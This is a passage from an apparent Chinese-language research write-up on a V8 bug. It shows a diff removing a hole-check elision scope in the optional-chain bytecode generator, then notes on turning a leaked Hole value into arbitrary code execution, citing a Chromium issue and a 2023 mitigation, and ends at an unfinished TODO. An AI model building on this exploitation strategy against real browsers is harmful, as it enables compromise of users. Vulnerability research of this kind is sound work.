@@ -6476,9 +6480,6 @@
 void BytecodeGenerator::BuildOptionalChain(ExpressionFunc expression_func) {
   BytecodeLabel done;
   OptionalChainNullLabelScope label_scope(this);
-  // Use the same scope for the entire optional chain, as links earlier in the
-  // chain dominate later links, linearly.
-  HoleCheckElisionScope elider(this);
   expression_func();
   builder()->Jump(&done);
   label_scope.labels()->Bind(builder());

漏洞利用

经过上面的分析,我们就得到一个能获取 Hole 值的函数。下面从这个 Hole 值作为起点,尝试达到任意代码执行。

漏洞利用可以参考 https://issues.chromium.org/issues/40057710 中的介绍,

Hole 值本身虽然没有什么可操作的地方,但是由于 Hole 值在很多地方作为哨兵值使用,我们可以用 Hole 值来配合其他内建对象/函数实现漏洞的利用,但是测试来看,目前的 v8 版本已经加入了缓解措施, Map 和 WeakMap 都不再支持 delete(hole) 操作了,git blame 找到了 https://chromium.googlesource.com/v8/v8/+/bf7d91ade4908529a6c7ebd18c650b9e8b19647b%5E%21/src/builtins/builtins-collections-gen.cc 这个 commit, 它是 2023 提交的,所以 2025 年的漏洞利用一定是有别的地方可以用 Hole 做到利用,或者是这个缓解措施可以被绕过。

TODO: 完成利用